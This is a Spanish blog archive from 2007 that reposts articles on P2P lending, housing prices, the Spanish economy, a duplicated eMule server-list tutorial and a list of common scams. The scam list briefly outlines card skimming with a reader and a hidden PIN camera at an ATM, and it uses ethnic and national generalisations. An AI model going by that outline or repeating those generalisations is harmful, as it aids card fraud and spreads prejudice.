Quieres un préstamo rápido, barato? Olvidate del banco. Internet son mercados que se convierten para los prestatarios y los prestamistas. Dos sitios de préstamos persona a persona (P2P) - Prosper.com en los ESTADOS UNIDOS y Zopa.com en Gran Bretaña - los más populares. Los sitios de préstamos P2P trabajan como EBay: Un prestatario fija cuánto dinero él desea y el tipo de interés máximo que está dispuesto a pagar. Los prestamistas hacen luego una oferta para ofrecer la tarifa más baja. El banco eres tu, triunfará este método poniendo en jaque las grandes ganancias de los bancos?
Los préstamos P2P surgen como modelo alternativo de inversión en Internet - Prosper y Lending Club triunfan en EE UU - Zopa y Boober exploran un posible lanzamiento en España
"Soy empleado de banca y necesito 1.400 euros para afrontar mis gastos en Navidad". Es la carta de presentación de Itsvan, nickname utilizado por uno de los usuarios de Zopa.com para solicitar un préstamo en Internet. Ha establecido la duración del mismo a su antojo, 12 meses, y el tipo de interés que le gustaría pagar, el 6,5%.
Siete días después, 24 personas han aceptado prestarle diversas cantidades al desconocido Itsvan hasta sumar los 1.400 euros que necesita, a un tipo de interés medio del 6,95%. En uno de los grandes bancos tradicionales el interés hubiera podido llegar al 9%. Trato hecho, préstamo concedido y aceptado, todo por Internet y sin verse las caras.
Se trata del fenómeno del P2P lending, o préstamos persona a personas (P2P), y preocupa a la banca tradicional en media Europa y parte de Estados Unidos.
Su filosofía se basa precisamente en dar esquinazo a los bancos, en conectar a gente con dinero extra para invertir con aquellos que lo necesitan para comprar un coche, redecorar la casa o montar su propia compañía. Todo el proceso se realiza online y la concesión del préstamo puede aprobarse en días. Sólo es necesario residir en el país donde opere la compañía de préstamos P2P.
La británica Zopa fue la pionera de los préstamos P2P y se encuentra en pleno apogeo de éxito y expansión internacional. Tras recibir financiación de las mismas compañías que invirtieron en Skype, eBay y Betfair, acaba de lanzar su servicio en Italia (en dos semanas ha reunido 6.000 registrados) y EE UU, donde operan con éxito Prosper y Lending Club, entre otras.
Para Giles Andrews, director general de Zopa en el Reino Unido, la tendencia de este movimiento es imparable. "Si al componente social de la Red le unimos la mayor disponibilidad de información financiera sobre particulares y el creciente número de gente que prefiere personalizar sus compras y no aceptar lo impuesto, el resultado es una gran oportunidad para el P2P Lending".
Los prestamistas acuden a sitios como Zopa en busca de una buena rentabilidad, una media del 30% mayor que la de los depósitos e inversiones tradicionales. Además de escoger cuánto tiempo desean prestar su dinero y el tipo de interés que quieren ganar, hasta un máximo del 20%, pueden seleccionar los beneficiarios según su riesgo de devolución o el tipo de proyecto que quieran financiar.
Solvencia
Aquí entra en juego un componente crucial: la disponibilidad de información fiable sobre la solvencia de los prestatarios. Zopa ha tejido una red de acuerdos con Equifax, Call Credit y Experian, que verifican la información sobre hipotecas, deudas e ingresos mensuales de quienes solicitan préstamos en su web. Sin esta información, que permite segmentar a los prestatarios según su historial crediticio, el sistema no sería viable. En caso de impago, se utilizan los procedimientos tradicionales de reclamación y embargo. La tasa de morosidad en Zopa desde 2005 ha sido inferior al 0,1%. Ha gestionado 12,5 millones de euros en préstamos concedidos durante el 2006. A final de año espera llegar a 14 millones de euros. De ellos, Zopa cobra el 0,5% de comisión anual a los inversores y el 0,5% del préstamo a los solicitantes.
A juzgar por el boom de este mercado, parece que sólo será cuestión de tiempo que la corriente llegue a España, como en otros países. Smava ha calcado en Alemania el modelo de Zopa, creando una comunidad de 20.000 inversores y prestamistas que desde marzo ha gestionado un volumen de préstamos de un millón de euros. Su creador, Alexander Artopé, un alemán de 38 años, cree que muchos de los países europeos están maduros para adoptar el P2P Lending. "El único obstáculo en España sería el mismo que existe en Alemania: cambiar el hábito de acudir a las sucursales del banco", asegura.
En Holanda, 7.200 personas se han registrado desde febrero en Boober, una cifra relativamente baja debido a los problemas que la empresa tuvo con los organismos reguladores. Tras varios litigios, Boober logró luz verde para operar y ya ha gestionado 1,9 millones de euros en préstamos. Acaban de lanzar su negocio en Italia y aseguran estar listos para hacer lo mismo en España a final de 2008. Las expectativas creadas por el P2P Lending en Holanda han llevado incluso a crear la Asociación de Inversores Peer-to-Peer (PIVN), única en Europa. En Dinamarca, FairRates opera desde marzo, y fuera de Europa existen varias entidades en Canadá y Australia, al margen de EE UU, donde el P2P Lending gana adeptos.
"Hemos tenido conversaciones con varias compañías en España", afirma Giles Andrews, de Zopa, quien asegura haber recibido peticiones para lanzar la compañía en más de 40 países. Ante una posible llegada del P2P Lending, la banca tradicional se apura en adelantarse a los cambios. El Banc Sabadell investiga cómo utilizar herramientas de la web 2.0 para actuar a través de redes sociales con sus clientes o personalizar mejor sus productos y precios. Pol Navarro, director de innovación en el Banc Sabadell, cree que los préstamos P2P no serán una amenaza para la banca a corto plazo, aunque los organismos regulatorios españoles ya analizan cómo deberían registrarse este tipo de operaciones online. "En España existe un uso potencial de este servicio y compañías como Zopa y Boober están estudiando la viabilidad de entrar en nuestro mercado", asegura. "Aun así, es temprano para pronosticar si puede ser un modelo de éxito en España".
Otras entidades fuertes en banca online, como Bankinter, creen que el gran espaldarazo a los préstamos P2P en España podría venir del establecimiento del DNI digital, que llegará al 90% de la población en los próximos 18 meses. "Para que el P2P Lending funcione, hay que saber a ciencia cierta que quien está al otro lado es realmente quien dice ser, hay que autentificar la identidad de los inversores y prestatarios, y el DNI digital permitirá ese proceso sin problemas", dice Fernando Alfaro, director general de Bankinter.
Alfaro apunta a dos aspectos clave que impulsarían los préstamos P2P en España: la necesidad de financiación para millones de inmigrantes sin un historial crediticio y el bajo coste de entrada en el desarrollo de plataformas P2P en Internet. Si las entidades se registran como servicio donde la gente se da de alta para prestarse dinero a cambio de una comisión, la CNMV no pondría obstáculos. "De todas formas, para suponer una amenaza real a la banca deberían ocupar una cuota superior al 1% del mercado crediticio en España y eso yo no lo veo", asegura Alfaro.
Donde el P2P Lending ha calado es en EE UU. La compañía líder, Prosper, fundada en febrero del pasado año, ha logrado 510.000 personas registradas y un volumen de gestión de préstamos de 100 millones de dólares. Lending Club, nacida hace seis meses como una aplicación más de Facebook, acaba de recibir el visto bueno para operar en los 50 estados del país. Y Virgin Money, de Richard Branson, compró en mayo la compañía CircleLending, dedicada a préstamos entre familiares y amigos. Una industria en pleno crecimiento pese a la desconfianza generada por la reciente crisis crediticia.
Los préstamos sociales
Muestra de la bonanza del P2P Lending es el surgimiento de otra tendencia de financiación en Internet: los préstamos sociales. La organización más veterana, Kiva.org, permite a internautas en todo el mundo prestar dinero a personas en países en desarrollo para crear su propio negocio. Se puede ayudar a gente en 37 países tan dispares como Perú, Kenia, Ucrania y Líbano. La idea ha logrado atraer a 174.000 inversores y un volumen de préstamos de 16,5 millones de dólares. En abril entró eBay en los préstamos sociales con la compra de Microplace, con el que se puede invertir en proyectos en 17 países. La danesa MyC4.com ha puesto en marcha el mismo modelo para ayudar al desarrollo de África a través de microcréditos de particulares por Internet.
ZOPA: http://www.zopa.com
PROSPER: http://www.prosper.com
BOOBER: http://www.boober.nl
Fuente: ElPais
29 de diciembre de 2007
6 de diciembre de 2007
15 timos más habituales
1. Robo de datos
La gente no va predicando por ahí sus datos, pero Internet es un mundo raro para mucha gente y no tienen el menor inconveniente en revelar cualquier cosa que un email o formulario les solicite. Ejemplos:
- envia sms gratis: das tu teléfono, das el de tu amigo, y el mensaje no llega nunca, pero a tí te han cazado y tu número empezará a recibir publicidad y llamadas dandote la barrila.
- Cuentas Rapidshare gratis: indica tu email. Variantes de todo tipo, ésto es lo último que he recibido simplemente.
- Reenvía este correo: cuando reenvías tonterías como “van a cerrar hotmail”, hay un virus muy peligroso, ojo con el conductor suicida, Bill Gates donará 1$ si reenvías esto”, etc estás revelando tus datos y los de todos tus amigos a empresas que se dedican al Spam, entre otras cosas.
- Registrate gratis: Generalmente el registro en las páginas web es muy beneficioso y mejora el servicio, pero registrarse en una página de crackers por poner un ejemplo y elegir la misma contraseña y usuario que el de tu cuenta de correo tiene todas las papeletas para que puedan suplantar tu identidad, ya que el 90% de la gente usa la misma o como mucho un par de contraseñas para todo. Simplemente fíjate a quien das tus datos.
2. El falso encargo
El timador sabe que alguien está ausente, sube hasta ese piso con un paquete muy pesado y de gran volumen donde ha escrito la dirección que ha copiado del buzón. Por supuesto se trata de un envio “a pagar contrareembolso”.
Con el paquete a cuestas y aún sudoroso llama a la puerta del vecino más próximo y empieza a lamentarse de que el inquilino no esté porque era algo de gran importancia y se va a devolver. Al final el vecino que sí estaba en casa se apiada del supuesto repartidor y paga el importe del paquete, que al final resulta al final estar lleno de piedras, arena o algo sin valor.
La mañana resultaba algo cara y a ver quien paga después el envío, porque el supuesto destinatario no tiene la culpa en realidad.
3. Garrafón
Seguramente lo habeis bebido si teneis más de 13 años. Consiste en vender alcohol de bajísima calidad como si fuera X marca. El más escandaloso se crea utilizando botellas robadas de contenedores de vidrío, el que se puede encontrar en el 98% de los bares españoles directamente se falsifica y se vende por distribuidores perfectamente establecidos sin que las autoridades hagan absolutamente nada para evitar este envenenamiento masivo. Las botellas se rellenan pese a ese tapón tan raro, por su apertura o por medio de un agujero en la base de las botellas.
4. La pulsera magnética
Ha sido la mayor estafa de la historia. Una pulsera metálica de dudoso gusto y supuestos poderes casi mágicos. Incluía incluso instrucciones de uso y mantenimiento, y es que a pesar de estar construída simplemente de metal en teoría jamás debía ser usada por personas con marcapasos, situarse cerca de fuentes magnéticas, etc. Lo más importante era que la duración de sus supuestas propiedades magnéticas estaba limitada a un año, así que cada año había que adquirir una nueva.
Similar a este artículo que ya ha sido retirado de la venta en casi todos los países están el agua imantada, las perlas energéticas y miles de productos que suelen anunciarse en revistas o programas casposos.
5. Vender aire
Decir si una embarazada iba a tener un niño o una niña (vete a buscar al timador después de varios meses…), vender prediciones o tarot, curanderos, etc.
6. Falsos trabajos
En ocasiones se ven anuncios del estilo:
“Trabajo Ya!. No necesaria experiencia. Elevadísimos ingresos. Más información en el teléfono…”
Alguien desde la tranquilidad de su oficina responde los cientos de llamadas de interesados, llamadas a un teléfono de esos premium. Según la denuncia de dos ex-empleadas de un “servicio” de éstos cada día llamaban más de 200 personas a las que entretenían más de 15 minutos de media por barba, a 1,20€ el minuto… ¿Sale un buen salario pagado con el dinero de los parados no creeis?
7. Muertos inmortales
Poco antes del año 2000 se destapó en España un fraude masivo a la seguridad social bastante macabro: se calculó que existían más de 30.000 dedos congelados con los que se “firmaban” autorizaciones para cobrar pensiones de gente que en realidad estaba ya muerta, pero cuyo fallecimiento no se había notificado para seguir embolsandose el dinero.
El caso más prolongado fue el de un hombre que llevaba cobrando 10 años la pensión de su madre ya fallecida pero similar a estos casos está el de dos hermanos que ocultaron la muerte de la hermana, disminuída física, para seguir cobrando su subsidio; o el de una viuda de 70 años natural de Oviedo que enterró el cadaver de su marido en cal viva para poder seguir cobrando la pensión de éste.
8. Copia y clonación de tarjetas de crédito
Las 4 líneas que contiene la banda magnética de una tarjeta de crédito puede leerse (y copiarse) por una máquina lectora que vale unos 200€ tan facilmente como cuando se lee un código de barras en la caja del supermercado.
En ciudades como Londres no se solicita identificación para las compras porque el DNI no es obligatorio, así que una tarjeta clonada sale bastante rentable. Si lo que se desea es obtener dinero directamente también puede grabarse el PIN con una cámara oculta y colocar la máquina lectora en el propio cajero.
9. El busco y tengo
- Anuncio “busco piso en esta zona” o “le compro el piso”. El 99% son inmobiliarias a la caza de nuevos registros para sus bases de datos o en busca de posibles clientes a los que “atacar” posteriormente con sus comerciales.
- Anuncio “vendo piso de 5 habitaciones en esta zona, 300.000€” (precio especialmente bajo para la zona). Suelen ser de nuevo inmobiliarias, esta vez a la caza de posibles compradores.
10. “Pepito el Gafe”
Sorprendentemente te llega a casa una carta diciendo que has ganado un estupendo premio que tienes que ir a recoger a un hotel. Una vez allí hay dos posibilidades: o te venden una vajilla, enciclopedia, etc que supera el valor del premio por mucho o te regalan (en el caso de viajes) por ejemplo el alojamiento en un hotel pero te obligan a comer en él por un precio que superaría, sumado, el precio de la estancia mediante una agencia de viajes.
10. Multipropiedad
“lo que es de todos no es de nadie”, es mi teoría como compulsivo acaparador de propiedad privada, pero en teoría este sistema de vacaciones consiste en que por una cantidad que ronda los 30.000 € tienes “alojamiento y vacaciones aseguradas toda la vida”.
La realidad es que la temporada alta está siempre todo cogido, como mucho te toca una vez cada 10 años, y sobre todo que si hacemos cuentas se compra un único apartamento/bungalow para decenas de personas. El negocio es redondo… Para los organizadores.
11. Timo de los billetes tintados o del negativo
Un hombre negro se presenta con un montón de papeles también negros que son supuestamente billetes tintados para poder haberlos pasado por la aduana. Delante de la víctima los “lava” con ayuda de un producto químico, un clon real del billete y aparece un billete de curso legal perfecto. La victima compra el taco de billetes negros y la máquina y cuando llega a casa descubre que billetes buenos sólo había uno o dos. A un amigo le hicieron este timo (les pilló claro), podeis leerlo en el comentario de Oscar Moreno
12. El Nigeriano
Te llega una carta (ahora es un email) diciendo que alguien tiene mucho dinero y necesita transferirlo a tu cuenta a cambio de una jugosa comisión. Encantado con la idea aceptas pero pronto tienes que afrontar tú el coste de “comisiones” e historias diversas. Una variación de este timo son las falsas novias, de las que ya hablé: leer la historia sobre el timo de las falsas enamoradas.
13. Falsas ventas
Encuentras por Internet o en periódicos de anuncios una oferta, generalmente de un coche, a un precio mucho más bajo que el de mercado. Normalmente te piden un pequeño adelanto, incluso el importe completo, y jamás ves el coche. NUNCA compres un coche a nadie que viva más al norte que España o más al este que Hungría, a no ser que sea en persona y acompañado. Además del timo en la venta está en la compra: te compran algo, supuestamente te transfieren el dinero, tú lo envías y después echan para atrás la transferencia. Leer ejemplo real de timo por “falsas compras”
14. Phishing
Phishing víctima 1: seguramente todos habreis oído de él, te roban los datos bancarios con falsos correos que cada vez están mejor hechos o gracias a las ventajas (para los delincuentes) que tiene el pack antiseguridad Explorer + Windows (si lo usas te recomiendo cambiarte gratis a Opera, Flock o Firefox. No es cosa de broma y a un amigo le han estafado casi 9.000€
Phishing víctima dos y la más perjudicada: bajo el anuncio “gane dinero desde casa” te ofrecen un falso trabajo que consiste en recibir dinero en una cuenta y transferirlo a otra persona mediante Western Unión. Cuando las víctimas 1 denuncian el robo el receptor de las transferencias no autorizadas responde del hecho y generalmente suelen ser cantidades muy altas, ya que es la suma de todas las estafas.
¡Cuidado ahí fuera amiguetes, casi nadie os regalará de verdad nada en la vida!
Fuente: deprisa
29 de noviembre de 2007
Quienes compraran una vivienda después de 2003 ya asumirían pérdidas con su venta
Las viviendas compradas antes del tercer trimestre de 2003 aún podrán generar beneficios económicos para sus propietarios en el momento de venderlas, mientras que aquellos que adquirieron un inmueble después de esta fecha "deberían asumir la posibilidad de afrontar pérdidas", según un informe elaborado por la web inmobiliaria Idealista.com.
Desde el portal se constata que el mercado de la vivienda en propiedad no vive su mejor momento, ya que se está produciendo un cambio en las expectativas de los inversores. La demanda ha perdido dinamismo y se ha retirado a la espera de que los precios y la condiciones crediticias vuelvan a ser asumibles para ella.
Es el momento de aceptar ofertas
Esta circunstancia, prosigue, ha generado un amplio 'stock' de viviendas a la venta que "se incrementará en los próximos meses", de modo que "el vendedor debe asumir que es el momento de aceptar ofertas".
Este "cambio de ciclo" se podrá constatar en las propias tasaciones de viviendas, necesarias en la compraventa, según el portal inmobiliario.
Así, aquellas valoraciones realizadas hace tres años pueden ahora no servir como precio orientativo, dado que los fuertes incrementos vividos en estos años han provocado que muchas tasaciones se inflaran dando por sentado que el mercado asumiría ese precio en uno o dos años. Sin embargo, prosigue, "el parón vivido en los precios ha provocado que el mercado no haya podido llegar hasta ese nivel de precios".
El alquiler, más rentable
En este contexto, un propietario que quiera vender con urgencia una vivienda en Madrid deberá aplicar un descuento de entre el 15% y el 20% sobre el precio medio actual de la ciudad, apunta como ejemplo el informe.
Estos datos evidencian que el mercado inmobiliario vive un escenario "completamente distinto al de hace sólo unos meses", por lo que alquilar una vivienda empieza a ser más rentable que vender.
El alquiler, frente a la vivienda en propiedad, mantiene una tendencia de precios al alza por encima del IPC, según Idealista.com. Además, supone la forma más rápida de obtener ingresos, ya que sólo se tardan 70 días de media en arrendar una vivienda frente a los 180 que se demora una venta.
Más aún, el portal apunta que "mantener la propiedad como patrimonio se configura como el sistema que mayor beneficio permite sacar a la vivienda, con una rentabilidad mensual". Así, la renta permite pagar la totalidad de la hipoteca o supone, por lo menos, una ayuda.
Entre las ventajas del alquiler, Idealista.com también menciona que, mientras se conserva la propiedad, la vivienda puede usarse como garantía de préstamos hipotecarios. Por último, el informe destaca que la actual coyuntura puede ser propicia para alquilar un inmueble dadas las ayudas a los propietarios de casas vacías que el Gobierno ha puesto y prevé poner en funcionamiento.
Fuente: ElEconomista
21 de noviembre de 2007
Una hipoteca a 30 años cuesta el doble que pagar un alquiler en el mismo plazo
Alquilar es la mitad de costoso que comprar. Es una de las conclusiones que se desprenden del estudio La vivienda ofertada de segunda mano y alquiler en España 2007 realizado por el portal inmobiliario Facilisimo.com. Concretamente, el estudio indica que la hipoteca mensual para comprar una vivienda a pagar en 30 años, duplicaría la mensualidad del alquiler para el mismo periodo de tiempo.
Según el informe, confeccionado a partir del análisis de 118.209 referencias de viviendas de segunda mano a la venta y 5.667 de alquiler, el tamaño medio de la vivienda ofertada en régimen de venta ha experimentado un descenso de 30 m2, desde los 151 m2 que era la media en noviembre de 2006, a los actuales 121 m2.
En cuanto a los precios de las viviendas a la venta, utilizando El Preciómetro -el índice de Facilísimo-, se ha producido un aumento del 1,18% en los últimos doce meses, hasta los 2.479 euros por metro cuadrado, lo que supone que una vivienda media usada de 121 m2 cuesta 299.959 euros.
Por tipologías, a los pisos en altura, que suponen el 57,28% de la oferta, les siguen los chalets adosados (7,34%). A continuación se sitúan los apartamentos (6,41%), los chalets independientes (3,80%) y los áticos (3,80%).
Por lo que respecta a la vivienda en régimen de alquiler, las características son similares a las de la vivienda usada en venta, ya que se trata de un piso en altura con tres habitaciones y un tamaño de 116 m2. El precio medio mensual del alquiler es de 965 €, una cantidad inferior a la hipoteca mensual de la vivienda media en venta que, aplicando el tipo de interés actual sin incluir gastos de compra ni entradas, sería de 1.690 € a pagar en 30 años. En ese periodo de tiempo de alquiler se desembolsarían 348.120 € y en 30 años de hipoteca 608.400 €. En el caso del alquiler, por tipología de vivienda tras el piso en altura (57,56%) se encontrarían los apartamentos (14,87%), seguidos de chalet adosados (4,74%), áticos (4,21%) y chalets independientes(3,05%).
Tres franjas de precios por Comunidades
Según el Preciómetro, el análisis por Comunidades Autónomas refleja tres grandes franjas de precios: por encima de los 300.000 € se encuentran País Vasco (390.600 €), seguida de Madrid (351.100 €) y Cataluña (337.300 €) como las Comunidades en las que se ofertan los inmuebles con precios más elevados.
Entre 300.000 € y 200.000 € se hallan Baleares (274.300 €) en cuarto lugar, seguida de Navarra (265.100 €) y Aragón (251.900 €) que ocupa la quinta plaza. A continuación se sitúan, Cantabria con un precio medio de 236.200 €, La Rioja (224.600 €), Andalucía (214.800 €), Comunidad Valenciana (207.700 €) y Asturias (202.200 €).
En la última franja, por debajo de los 200.000 €, estarían Ceuta y Melilla (197.100 €), Murcia (192.100 €), Canarias (191.400 €), Castilla y León (184.700 €), Galicia (167.500 €), Castilla - La Mancha (163.900 €) y, en la última posición Extremadura, que es la región donde resulta más económico adquirir una vivienda con un precio medio de 132.400 €.
Fuente: Cotizalia
7 de noviembre de 2007
‘Pillados’ por el ladrillo
El realismo llega al sector inmobiliario. “Muchos inversores que compraron sobre plano y no querían llegar a escriturar tienen que vender por mucho menos de lo que pretendían haciendo que en el mercado [inmobiliario] aparezcan determinados chollos”. Es una de las conclusiones que se extraen de la Reunión de Otoño de los 120 brokers de la inmobiliaria internacional RE/MAX. Cita anual en la que los intermediarios hacen balance del sector.
Lo que en los últimos años ha sido práctica habitual en este país por su elevada rentabilidad, ha dejado de ser negocio. Tal es el caso de las viviendas del Residencial Francisco Hernando en Seseña, cuyos anuncios inundan los portales online con sustanciales rebajas de precios, tal y como ha detallado este diario.
Inversores ‘pillados’ por los ladrillos no son los únicos cambios en el sector que los profesionales de los franquiciados de RE/MAX han destacado en esta reunión. También han señalado la amplia oferta de inmuebles existente, lo que permite a los compradores disponer de más variedad de productos entre los que elegir. Asimismo, ahora para los demandantes “es más fácil negociar, ya que los propietarios están dispuestos a reducir sus pretensiones, dado que el tiempo de venta se ha alargado. Los compradores pueden conseguir precios mejores”, afirman.
Adecuarse a las circunstancias del mercado
Además de este análisis, las conclusiones determinaron que ahora más que nunca es necesaria la figura de un verdadero agente profesional en el mercado inmobiliario, entre otras cosas, para educar al propietario que no sabe adaptar sus pretensiones al mercado en el que se mueve su producto.
“El agente inmobiliario RE/MAX realiza una valoración de la vivienda del propietario para que éste fije un precio, no basándose en lo que el resto de propietarios piden por una vivienda en la misma zona, sino basándose en el precio real de mercado de esa zona y en las características de la vivienda”, afirma en nota de prensa la compañía.
Fuente: Cotizalia
4 de noviembre de 2007
La economía española pierde sus pilares
Durante los últimos años la economía española ha crecido básicamente gracias a dos componentes, la construcción y el consumo interno. También en los últimos años hemos tenido tipos de interés muy bajos, debido a la crisis alemana. En España hemos tenido niveles de inflación superiores al objetivo del Banco Central Europeo. Dado que crecíamos ¿por qué se mantuvieron tan bajos esos tipos y se recalentó la economía española?
El Banco Central europeo fija los tipos de interés según las necesidades de la Eurozona, las últimas subidas de tipos se debieron a que Alemania dejó de estar estancada y empezó a crecer.
Al haber estado los dos motores principales de la economía española impulsados por un dinero extraordinariamente barato, las últimas subidas de tipos han afectado bastante a la economía española. El Euribor ha estado subiendo y ha acabado afectando a las hipotecas. En un país donde no ahorramos y tenemos problemas para llegar a fin de mes un aumento en la cuota de la hipoteca (y en general en los costes financieros de la deuda que tengamos) acaba provocando que haya que reducir el consumo. Pero reducir el consumo de muchas familias tiene sus consecuencias negativas para la economía, ya hemos hablado del bajo poder adquisitivo de las familias españolas. Si las familias (de media) compran menos ropa, van menos a restaurantes, viajan menos, compran menos coches, etc. serán necesarios menos vendedores de ropa, de coches, menos agentes de viajes, menos camareros y cocineros, que irán a la cola del paro. Los últimos datos sobre el desempleo confirman esta tendencia. Además, si creemos que podemos perder nuestro empleo (porque los camareros y vendedores son integrantes de esas familias) el consumo se suele reducir y mucho menos hacemos inversiones fuertes, como nuestra vivienda. Hace tiempo hablamos del posible fin del boom inmobiliario, ahora cada vez se ve más claro. Si se venden menos casas se acabarán construyendo menos casas y los albañiles acabarán yendo al paro, como demuestran las últimas cifras.
Se puede argumentar en contra que la producción industrial de la economía española puede compensar el crecimiento de los últimos tiempos. Lo dudo mucho, en los últimos años la industria española no ha destacado por su especial buen comportamiento. Tampoco se han puesto las bases para desarrollar una industria de alta tecnología, al estilo de Finlandia. Por un lado, para que nos hagamos una idea del estado de nuestra I+D el peso de la investigación en la economía española es bastante inferior al que tiene en Eslovenia. Por el otro la mano de obra, en general, está más cualificada en poner ladrillos uno encima de otro y servir cervezas que en fabricar aerogeneradores. No es que desprecie a los camareros y albañiles, dada la demanda de los últimos años es normal que se hayan especializado en ese tipo de trabajo, que es muy necesario. Pero no son actividades de alto valor añadido que puedan permitir montar una industria fuerte que compense la pérdida de importancia de los otros sectores.
Fuente: BlogSalmón
2 de noviembre de 2007
Mantenimiento de la lista de servidores y filtrado de IP en EMULE
Es altamente recomendable tener una lista de servidores fiables con servidores que no nos den una falsa IDALta y que no nos den problemas a la hora de hacer búsquedas o a la hora de descargar:
1)Id a Preferencias/Servidor
2)Poned 9 en el numero de errores permitidos antes de remover el servidor
3)Dad al botón Editar que figura junto a la opcion de Auto-actualizar
4) En el bloc de notas que se abre, añadid al comienzo las siguientes lineas (si tuvieráis algo escrito de antes aquí lo borráis, aunque igual no es ni necesario)
http://www.gruk.org/server.met.gz
http://www.peerates.net/servers.php
5)Guardad los cambios en el bloc de notas
6) Cerrad el bloc de notas.
7)Desmarcad las dos opciones de Actualizar lista de servidores( Que son : "Actualizar al conectar a un servidor" y "Actualizar al conectar a un nuevo cliente")
8)Pulsad el botón Aceptar
9)Id a la ventana Servidores
10)Borrad todos los servidores de la lista normal y de servidores fijos( clicáis derecho sobre uno de ellos y en el menú emergente seleccionáis Eliminar todos, es muy importante que hagáis esto. La verdad es que todos los pasos son muy importantes)
11)En Actualizar Server.met desde URL escribid cualquiera de las URL incluídas en el punto 4
12)Pulsad el boton Actualizar y aparecerá la ventana de descarga de la actualización.
13) Visitad la web desde donde os descargastéis la lista: http://www.gruk.org/list.php y tomad nota de los servidores en rosa.
14) Eliminad de vuestra lista esos servidores marcados en rosa, por si acaso, ya que como mínimo tienen algún tipo de problema y esto hace que puedan provocar problemas en las búsquedas o en la conexión y hace que no sean fiables del todo.
* Nota: (Hasta nuevo aviso - a día 17/09/07).
Debido a la desaparición actual de algunos Servidores como los Donkey Server, los Byte Devils y los Big Bang.
Es mejor no configurar Servidores Fijos y NO seleccionar la opción de conectar sólo a servidores fijos.
Lo mejor en estos momentos es utilizar la Red Kad.
Si te funciona de forma correcta es recomendable conectarse solamente a través de la Red Kad,
dejando los servidores de la Red eD2K libres para los que no puedan usar Kad y evitar así la sobresaturación de los pocos servidores fiables que quedan operativos con su consiguiente caída.
Si no te pudieras conectar a la Red Kad y tuvieras que conectarte a la Red ed2k,
es mejor que no configures servidores fijos y no selecciones la opción de conectar sólo a servidores fijos.
Revisar puntos 15º al 17º del tutorial.
(Hasta nuevo aviso - a día 17/09/07).
15)Opcionalmente se pueden seleccionar algunos de los servidores, incluirlos como servidores fijos y marcar la opción de Autoconectar solo a servidores fijos.( en Preferencias > Servidor)
16) En el caso de elegir autoconectarse sólo a servidores fijos hay que establecer unos cuantos servidores como fijos. Para ello debéis colocar el cursor sobre el servidor que queráis añadir a vuestra lista de servidores fijos y en el menú emergente que os saldrá , como en la imagen de abajo, seleccionar "Añadir a la lista de servidores fijos". Hay que hacer esto servidor por servidor.
17)En la pestaña registro de la ventana os irán apareciendo mensajes que confirman que los servidores se han añadido a la lista de servidores fijos. Una vez completada la lista de servidores fijos ha llegado el momento de cargar el Ip Filter para filtrar las IP's no deseadas. Marcad Preferencias en la barra de herramientas de eMule como en la imagen. y seguid aquí.
Fuente: Foros Emule
1)Id a Preferencias/Servidor
2)Poned 9 en el numero de errores permitidos antes de remover el servidor
3)Dad al botón Editar que figura junto a la opcion de Auto-actualizar
4) En el bloc de notas que se abre, añadid al comienzo las siguientes lineas (si tuvieráis algo escrito de antes aquí lo borráis, aunque igual no es ni necesario)
http://www.gruk.org/server.met.gz
http://www.peerates.net/servers.php
5)Guardad los cambios en el bloc de notas
6) Cerrad el bloc de notas.
7)Desmarcad las dos opciones de Actualizar lista de servidores( Que son : "Actualizar al conectar a un servidor" y "Actualizar al conectar a un nuevo cliente")
8)Pulsad el botón Aceptar
9)Id a la ventana Servidores
10)Borrad todos los servidores de la lista normal y de servidores fijos( clicáis derecho sobre uno de ellos y en el menú emergente seleccionáis Eliminar todos, es muy importante que hagáis esto. La verdad es que todos los pasos son muy importantes)
11)En Actualizar Server.met desde URL escribid cualquiera de las URL incluídas en el punto 4
12)Pulsad el boton Actualizar y aparecerá la ventana de descarga de la actualización.
13) Visitad la web desde donde os descargastéis la lista: http://www.gruk.org/list.php y tomad nota de los servidores en rosa.
14) Eliminad de vuestra lista esos servidores marcados en rosa, por si acaso, ya que como mínimo tienen algún tipo de problema y esto hace que puedan provocar problemas en las búsquedas o en la conexión y hace que no sean fiables del todo.
* Nota: (Hasta nuevo aviso - a día 17/09/07).
Debido a la desaparición actual de algunos Servidores como los Donkey Server, los Byte Devils y los Big Bang.
Es mejor no configurar Servidores Fijos y NO seleccionar la opción de conectar sólo a servidores fijos.
Lo mejor en estos momentos es utilizar la Red Kad.
Si te funciona de forma correcta es recomendable conectarse solamente a través de la Red Kad,
dejando los servidores de la Red eD2K libres para los que no puedan usar Kad y evitar así la sobresaturación de los pocos servidores fiables que quedan operativos con su consiguiente caída.
Si no te pudieras conectar a la Red Kad y tuvieras que conectarte a la Red ed2k,
es mejor que no configures servidores fijos y no selecciones la opción de conectar sólo a servidores fijos.
Revisar puntos 15º al 17º del tutorial.
(Hasta nuevo aviso - a día 17/09/07).
15)Opcionalmente se pueden seleccionar algunos de los servidores, incluirlos como servidores fijos y marcar la opción de Autoconectar solo a servidores fijos.( en Preferencias > Servidor)
16) En el caso de elegir autoconectarse sólo a servidores fijos hay que establecer unos cuantos servidores como fijos. Para ello debéis colocar el cursor sobre el servidor que queráis añadir a vuestra lista de servidores fijos y en el menú emergente que os saldrá , como en la imagen de abajo, seleccionar "Añadir a la lista de servidores fijos". Hay que hacer esto servidor por servidor.
17)En la pestaña registro de la ventana os irán apareciendo mensajes que confirman que los servidores se han añadido a la lista de servidores fijos. Una vez completada la lista de servidores fijos ha llegado el momento de cargar el Ip Filter para filtrar las IP's no deseadas. Marcad Preferencias en la barra de herramientas de eMule como en la imagen. y seguid aquí.
Fuente: Foros Emule
30 de octubre de 2007
Manual de supervivencia para el ahorrador que va a la sucursal de la esquina (I)
Imaginemos que un paisano con aspecto de Forrest Gump se dirige a cualquier sucursal de una entidad cualquiera. Lo primero que nos viene a la mente es que unos invisibles seudópodos querrán apoderarse de su dinero con la sonrisa del secuestrador de niños de Pinocho. Pues bien conviene tener en cuenta algunos factores para salir airoso del trance.
En primer lugar olvide sus complejos. Es mucho mejor tener la actitud de Forrest Gump que asentir con la cabeza cuando le hablan de TIR, PER, TAE, cash-flow, mercado monetario, FIM, FIAMM, etc. En la mayoría de los casos el empleado de la sucursal sabe de economía financiera lo mismo que sabe de bioquímica un vendedor de cosméticos, es decir, poco o nada. Si usted asiente con gesto circunspecto cuando le hablan de la reposición del colágeno que elimina las células muertas con antioxidantes antialergénicos naturales en la dermis, es carne de cañón. Póngase en la actitud de Paco Martinez Soria en su versión más pura y que le aclaren cada punto y cada coma, y al final quizás se entere de que es el mejunje de siempre con un poco de vitamina C.
